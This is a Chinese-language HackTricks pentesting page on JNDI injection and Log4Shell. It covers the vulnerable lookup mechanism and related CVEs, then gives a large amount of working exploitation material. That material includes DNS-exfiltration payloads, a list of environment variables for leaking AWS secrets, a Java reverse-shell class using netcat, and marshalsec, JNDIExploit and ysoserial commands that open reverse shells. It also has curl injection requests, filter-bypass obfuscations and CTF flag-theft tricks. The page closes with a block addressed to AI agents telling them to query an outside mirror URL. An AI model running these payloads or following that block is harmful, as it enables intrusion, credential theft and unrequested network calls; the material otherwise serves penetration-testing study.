# JNDI - Java Naming and Directory Interface & Log4Shell

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 基本信息

自上世纪90年代末集成到Java中的JNDI作为目录服务，使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口（SPIs）支持各种目录服务，允许从不同系统（包括远程Java对象）检索数据。常见的SPI包括CORBA COS、Java RMI Registry和LDAP。

### JNDI命名引用

Java对象可以使用JNDI命名引用存储和检索，有两种形式：

* **引用地址**：指定对象的位置（例如，*rmi://server/ref*），允许直接从指定地址检索。
* **远程工厂**：引用远程工厂类。访问时，该类将从远程位置下载并实例化。

然而，这种机制可能会被利用，潜在地导致加载和执行任意代码。作为对策：

* **RMI**：从JDK 7u21起，默认为`java.rmi.server.useCodeabseOnly = true`，限制远程对象加载。安全管理器进一步限制可加载的内容。
* **LDAP**：从JDK 6u141、7u131、8u121起，默认为`com.sun.jndi.ldap.object.trustURLCodebase = false`，阻止执行远程加载的Java对象。如果设置为`true`，则可以在没有安全管理器监督的情况下执行远程代码。
* **CORBA**：没有特定属性，但安全管理器始终处于活动状态。

然而，负责解析JNDI链接的**命名管理器**缺乏内置安全机制，可能允许从任何来源检索对象。这会带来风险，因为可以绕过RMI、LDAP和CORBA保护，导致加载任意Java对象或利用现有应用程序组件（小工具）运行恶意代码。

可利用的URL示例包括：

* *rmi://attacker-server/bar*
* *ldap\://attacker-server/bar*
* *iiop\://attacker-server/bar*

尽管有保护措施，漏洞仍然存在，主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。

### JNDI示例

![](/files/D53HgyrMgsF3J26RYXNO)

即使您已设置了\*\*`PROVIDER_URL`\*\*，您也可以在查找中指定不同的URL并访问：`ctx.lookup("<attacker-controlled-url>")`，这是攻击者将滥用以从由他控制的系统加载任意对象的方法。

### CORBA概述

CORBA（通用对象请求代理体系结构）使用\*\*可互操作对象引用（IOR）\*\*来唯一标识远程对象。此引用包括关键信息，如：

* **类型ID**：接口的唯一标识符。
* **代码库**：用于获取存根类的URL。

值得注意的是，CORBA本身并不易受攻击。确保安全通常涉及：

* 安装**安全管理器**。
* 配置安全管理器以允许连接到潜在恶意代码库。可以通过以下方式实现：
* Socket权限，例如，`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
* 文件读取权限，可以是全局的（`permission java.io.FilePermission "<<ALL FILES>>", "read";`）或针对可能放置恶意文件的特定目录。

然而，一些供应商政策可能宽松，允许默认情况下进行这些连接。

### RMI上下文

对于RMI（远程方法调用），情况略有不同。与CORBA一样，默认情况下限制了任意类的下载。要利用RMI，通常需要绕过安全管理器，这也适用于CORBA。

### LDAP

首先，我们需要区分搜索和查找。\
**搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL来查找LDAP服务器中的JNDITutorial对象并**检索其属性**。\
**查找**用于**命名服务**，因为我们想要获取**绑定到名称的任何内容**。

如果LDAP搜索使用了`SearchControls.setReturningObjFlag()`并设置为`true`，则返回的对象将被重建。

因此，有几种攻击这些选项的方法。\
**攻击者可以在LDAP记录中植入有效负载**，这些有效负载将在收集它们的系统中执行（如果您可以访问LDAP服务器，则非常有用，可以**危害数十台机器**）。另一种利用方法是在LDAP搜索中执行**中间人攻击**，例如。

如果您可以**让应用程序解析JNDI LDAP URL**，则可以控制将被搜索的LDAP，并且可以发送回利用（log4shell）。

#### 反序列化利用

![](/files/7uc4QAhPtbRLSLjrPgKf)

**利用被序列化**，将进行反序列化。\
如果`trustURLCodebase`为`true`，攻击者可以在代码库中提供自己的类；如果不是，则需要在类路径中滥用小工具。

#### JNDI引用利用

更容易攻击此LDAP使用**JavaFactory引用**：

![](/files/SZpqiIR7P1tvP9u8xK9t)

## Log4Shell漏洞

该漏洞是由于Log4j支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)，形式为`${prefix:name}`，其中`prefix`是多种不同[**查找**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一，`name`应该被评估。例如，`${java:version}`是当前运行的Java版本。

[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi`查找功能。此功能通过JNDI检索变量。通常，密钥会自动添加前缀`java:comp/env/`。但是，如果密钥本身包含\*\*“:”\*\*，则不会应用此默认前缀。

如果密钥中存在\*\*“:”\*\*，例如`${jndi:ldap://example.com/a}`，则没有前缀，**LDAP服务器将查询对象**。这些查找可以用于Log4j的配置以及记录行时。

因此，要实现RCE，只需有一个**受用户控制的信息的易受攻击版本的Log4j**。由于这是Java应用程序广泛使用的库，用于记录信息（包括面向互联网的应用程序），因此很常见使用log4j记录例如接收的HTTP标头，如User-Agent。但是，log4j**不仅用于记录HTTP信息，还用于记录任何输入**和开发人员指定的数据。

## Log4Shell相关CVE概述

### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[关键]**

这个漏洞是`log4j-core`组件中的关键**未受信任的反序列化漏洞**，影响版本从2.0-beta9到2.14.1。它允许**远程代码执行（RCE）**，使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告，并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。可用于防御的Sigma规则（[规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml)，[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml))。

### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[关键]**

最初评级较低，但后来升级为关键，这个CVE是由于对CVE-2021-44228在2.15.0中的修复不完整而导致的\*\*拒绝服务（DoS）\*\*漏洞。它影响非默认配置，允许攻击者通过精心制作的载荷发起DoS攻击。一条[tweet](https://twitter.com/marcioalm/status/1471740771581652995)展示了一种绕过方法。该问题在版本2.16.0和2.12.2中得到解决，方法是删除消息查找模式并默认禁用JNDI。

### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[高]**

影响非默认配置中使用`JMSAppender`的**Log4j 1.x版本**，这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复程序，该分支已经终止生命周期，建议升级到`log4j-core 2.17.0`。

### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中等]**

这个漏洞影响**Logback日志框架**，这是Log4j 1.x的后继者。此前被认为是安全的框架被发现存在漏洞，新版本（1.3.0-alpha11和1.2.9）已发布以解决此问题。

### **CVE-2021-45105** **\[高]**

Log4j 2.16.0存在一个DoS漏洞，促使发布`log4j 2.17.0`来修复该CVE。更多详细信息请参阅BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。

### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)

影响log4j版本2.17，这个CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参阅[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)。

## Log4Shell利用

### 发现

如果未受保护，这个漏洞很容易被发现，因为它会向您在有效载荷中指定的地址发送至少一个**DNS请求**。因此，像以下这样的有效载荷：

* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`（使用[canarytokens.com](https://canarytokens.org/generate)）
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`（使用[interactsh](https://github.com/projectdiscovery/interactsh)）
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}`（使用Burp Suite）
* `${jndi:ldap://2j4ayo.dnslog.cn}`（使用[dnslog](http://dnslog.cn)）
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`（使用[huntress](https://log4shell.huntress.com)）

请注意，**即使收到DNS请求，也不意味着应用程序是可利用的**（甚至是有漏洞的），您需要尝试利用它。

{% hint style="info" %}
请记住，要**利用版本2.15**，您需要添加**本地主机检查绕过**：${jndi:ldap\://**127.0.0.1#**...}
{% endhint %}

#### **本地发现**

搜索**本地易受攻击版本**的库：

```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```

### **验证**

之前列出的一些平台将允许您插入一些变量数据，当请求时将被记录。\
这对两件事情非常有用：

* **验证**漏洞
* 滥用漏洞**窃取信息**

例如，您可以请求类似于：\
或者像`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**，如果收到带有环境变量值的**DNS请求**，则说明应用程序存在漏洞。

您可以尝试**泄露**的其他信息：

```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information
```

### RCE 信息

{% hint style="info" %}
在 JDK 版本高于 6u141、7u131 或 8u121 的主机上，已经针对 LDAP 类加载攻击向量进行了保护。这是因为默认情况下禁用了 `com.sun.jndi.ldap.object.trustURLCodebase`，阻止了 JNDI 通过 LDAP 加载远程代码库。然而，需要注意的是这些版本**仍然无法防御反序列化攻击向量**。

对于试图利用这些较高 JDK 版本的攻击者来说，有必要利用 Java 应用程序中的**受信任小工具**。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相反，利用较低 JDK 版本相对较容易，因为这些版本可以被操纵以加载和执行任意类。

要了解**更多信息**（*如 RMI 和 CORBA 向量的限制*），请查看之前的 JNDI 命名参考部分或<https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/>
{% endhint %}

### RCE - 使用自定义有效载荷的 Marshalsec

您可以在 **THM box** 中测试此功能：[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)

使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)（jar 版本可在[**此处**](https://github.com/RandomRobbieBF/marshalsec-jar)找到）。这种方法建立了一个 LDAP 引荐服务器，将连接重定向到一个次要的 HTTP 服务器，其中将托管利用程序：

```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```

为了促使目标加载一个反向 shell 代码，创建一个名为 `Exploit.java` 的 Java 文件，内容如下：

```java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
```

将Java文件编译为类文件使用：`javac Exploit.java -source 8 -target 8`。接下来，在包含类文件的目录中启动**HTTP服务器**：`python3 -m http.server`。确保**marshalsec LDAP服务器**引用了这个HTTP服务器。

通过发送类似以下负载的触发方式，触发对易受攻击的Web服务器上的exploit类的执行：

```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```

**注意：** 这个漏洞利用取决于Java的配置，允许通过LDAP加载远程代码库。如果这是不允许的，请考虑利用受信任的类来执行任意代码。

### RCE - **JNDIExploit**

{% hint style="info" %}
请注意，由于发现了log4shell，作者出于某种原因从github中删除了这个项目。您可以在<https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2>中找到缓存版本，但如果您想尊重作者的决定，请使用其他方法来利用此漏洞。

此外，您无法在wayback machine中找到源代码，因此要么分析源代码，要么执行jar文件，知道您不知道自己在执行什么。
{% endhint %}

例如，您可以在端口8080上运行此**易受log4shell影响的Web服务器**：<https://github.com/christophetd/log4shell-vulnerable-app>（*在自述文件中，您将找到如何运行它的说明*）。这个易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求头\_X-Api-Version\_的内容。

然后，您可以下载**JNDIExploit** jar文件并执行以下操作：

```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```

阅读代码仅需几分钟，在\_com.feihong.ldap.LdapServer\_和\_com.feihong.ldap.HTTPServer\_中，您可以看到**LDAP和HTTP服务器是如何创建**的。LDAP服务器将了解需要提供的有效负载，并将受害者重定向到HTTP服务器，后者将提供利用。\
在\_com.feihong.ldap.gadgets\_中，您可以找到**一些特定的小工具**，可用于执行所需的操作（潜在执行任意代码）。在\_com.feihong.ldap.template\_中，您可以看到将**生成利用**的不同模板类。

您可以使用\*\*`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`\*\*查看所有可用的利用。一些有用的利用包括：

```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```

因此，在我们的示例中，我们已经运行了那个存在漏洞的 Docker 应用程序。要对其发起攻击：

```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```

在发送攻击时，您将在执行**JNDIExploit-1.2-SNAPSHOT.jar**的终端中看到一些输出。

**记得检查`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`以获取其他利用选项。此外，如果需要，您可以更改LDAP和HTTP服务器的端口。**

### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>

类似于之前的利用方式，您可以尝试使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)来利用此漏洞。\
您可以生成要发送给受害者的URL：

```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```

*这种利用自定义生成的Java对象的攻击在像**THM太阳房间**这样的实验室中可以使用。然而，这通常不起作用（因为默认情况下Java未配置为使用LDAP加载远程代码库），我认为这是因为它没有滥用受信任的类来执行任意代码。*

### RCE - JNDI注入利用加强版

<https://github.com/cckuailong/JNDI-Injection-Exploit-Plus> 是另一个用于生成**可用的JNDI链接**并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务的工具。\\

### RCE - ysoserial 和 JNDI利用工具包

这个选项对于攻击**仅信任指定类而不是所有人的Java版本**非常有用。因此，**ysoserial**将被用来生成**受信任类的序列化**，这些序列化可以用作**执行任意代码的小工具**（*ysoserial滥用的受信任类必须被受害者Java程序使用，以使利用生效*）。

使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)，您可以创建将被JNDI下载的反序列化利用程序：

```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```

使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**，在那里漏洞将等待来自受影响机器的连接。您可以提供由JNDI-Exploit-Kit自动生成的**不同的漏洞利用**，甚至是您自己生成的反序列化有效负载（由您或ysoserial生成）。

```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```

![](/files/RPG79enYXBbEiEcTKki3)

现在您可以轻松使用生成的JNDI链接来利用漏洞并获取**反向shell**，只需发送到一个易受攻击的log4j版本：**`${ldap://10.10.14.10:1389/generated}`**

### 绕过方式

```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```

### 自动扫描器

* <https://github.com/fullhunt/log4j-scan>
* <https://github.com/adilsoybali/Log4j-RCE-Scanner>
* <https://github.com/silentsignal/burp-log4shell>
* <https://github.com/cisagov/log4j-scanner>
* <https://github.com/Qualys/log4jscanwin>
* <https://github.com/hillu/local-log4j-vuln-scanner>
* <https://github.com/logpresso/CVE-2021-44228-Scanner>
* <https://github.com/palantir/log4j-sniffer> - 查找本地易受攻击的库

### 实验室测试

* [**LogForge HTB 机器**](https://app.hackthebox.com/tracks/UHC-track)
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)

## Log4Shell 漏洞利用后

在这个[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中很好地解释了如何**滥用**Log4J的一些功能。

Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)中有一些有趣的句子：

> 从版本2.16.0（适用于Java 8）开始，**消息查找功能已完全移除**。**配置中的查找仍然有效**。此外，Log4j现在默认禁用对JNDI的访问。配置中的JNDI查找现在需要显式启用。

> 从版本2.17.0开始（对于Java 7和Java 6分别为2.12.3和2.3.1），**只有配置中的查找字符串会被递归展开**；在任何其他用途中，只有顶层查找会被解析，任何嵌套查找都不会被解析。

这意味着默认情况下，您可以**忘记使用任何`jndi`漏洞**。此外，要执行**递归查找**，您需要配置它们。

例如，在该CTF中，文件log4j2.xml中配置了以下内容：

```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```

### 环境查找

在[这个CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)中，攻击者控制了`${sys:cmd}`的值，并需要从环境变量中窃取标志。\
如在[**之前的有效载荷**](#verification)页面中所见，有不同的方式可以访问环境变量，比如：**`${env:FLAG}`**。在这个CTF中这是无用的，但在其他现实场景中可能会有用。

### 异常中的数据窃取

在CTF中，你**无法访问java应用程序的stderr**，但Log4J的**异常会发送到stdout**，并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是：**`${java:${env:FLAG}}`**。这能够工作是因为\*\*`${java:CTF{blahblah}}`\*\*不存在，异常将显示标志的值：

![](/files/7Jq7nvzc73Prrqvg0DPc)

### 转换模式异常

仅提一下，你也可以注入新的[**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)并触发将被记录到`stdout`的异常。例如：

![](/files/ufZGrYFvwsMrsudcneMa)

这并没有发现有用于在错误消息中窃取日期，因为查找在转换模式之前没有解决，但它可能对其他事情有用，比如检测。

### 转换模式正则表达式

然而，可以使用一些支持正则表达式的**转换模式**来通过使用正则表达式和滥用**二分查找**或**基于时间**的行为从查找中窃取信息。

* **通过异常消息进行二分查找**

转换模式\*\*`%replace`**可以用于**替换**字符串中的**内容\*\*，甚至使用**正则表达式**。它的工作方式如下：`replace{pattern}{regex}{substitution}`\
滥用这种行为，你可以使替换**在正则表达式匹配到任何字符串内的内容时触发异常**（如果未找到则不会触发异常），如下所示：

```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```

* **基于时间的攻击**

正如前一节中提到的，**`%replace`** 支持 **正则表达式**。因此，可以使用来自[**ReDoS页面**](/pentesting-web/regular-expression-denial-of-service-redos.md)的有效载荷来引发超时，以便在找到标志时触发超时。\
例如，像 `%replace{${env:FLAG}}{^(?=CTF)((.`*`)`*`)*salt$}{asd}` 这样的有效载荷将在那个CTF比赛中触发超时。

在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中，它使用了一种**放大攻击**来导致响应中的时间差异：

> ```
> /%replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> 如果标志以 `flagGuess` 开头，则整个标志将被替换为 29 个 `#`（我使用这个字符是因为它可能不是标志的一部分）。**然后，每个生成的 29 个 `#` 将被替换为 54 个 `#`**。这个过程重复进行 **6 次**，总共产生了 ` 29*54*54^6* =`` `` `**`96816014208`** **个 `#`！**
>
> 替换这么多 `#` 将触发 Flask 应用程序的 10 秒超时，从而导致向用户发送 HTTP 状态码 500。（如果标志不以 `flagGuess` 开头，我们将收到非 500 状态码）

## 参考资料

* <https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/>
* <https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/>
* <https://www.youtube.com/watch?v=XG14EstTgQ4>
* <https://tryhackme.com/room/solar>
* <https://www.youtube.com/watch?v=Y8a5nB-vy78>
* <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf>
* <https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/>
* <https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
